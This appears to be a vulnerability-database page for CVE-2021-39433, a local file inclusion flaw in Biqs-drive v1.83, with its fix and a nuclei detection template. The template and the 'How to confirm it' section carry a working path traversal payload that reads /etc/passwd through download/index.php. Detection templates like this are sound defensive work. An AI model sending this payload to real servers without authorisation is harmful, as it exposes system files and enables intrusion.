HexBrain

Browse / CVEs / CVE-2021-39433

CVE-2021-39433· biqs / biqsdrive

BIQS IT Biqs-drive v1.83 Local File Inclusion

highseverity
7.5CVSS score
8.7%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

A local file inclusion vulnerability exists in version BIQS IT Biqs-drive v1.83 and below when sending a specific payload as the file parameter to download/index.php. This allows the attacker to read arbitrary files from the server with the permissions of the configured web-user.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.

Fix

Upgrade to the latest version of BIQS IT Biqs-drive (v1.84 or higher) which includes a fix for the Local File Inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/download/index.php?file=../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-39433 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-39433

info:
  name: BIQS IT Biqs-drive v1.83 Local File Inclusion
  author: Veshraj
  severity: high
  description: A local file inclusion vulnerability exists in version BIQS IT Biqs-drive v1.83 and below when sending a specific payload as the file parameter to download/index.php. This allows the attacker to read arbitrary files from the server with the permissions of the configured web-user.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Upgrade to the latest version of BIQS IT Biqs-drive (v1.84 or higher) which includes a fix for the Local File Inclusion vulnerability.
  reference:
    - https://github.com/PinkDraconian/CVE-2021-39433/blob/main/README.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39433
    - https://biqs-drive.be/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-39433
    epss-score: 0.08687
    epss-percentile: 0.9517
    cpe: cpe:2.3:a:biqs:biqsdrive:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: biqs
    product: biqsdrive
  tags: cve2021,cve,lfi,biqsdrive,biqs,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/download/index.php?file=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from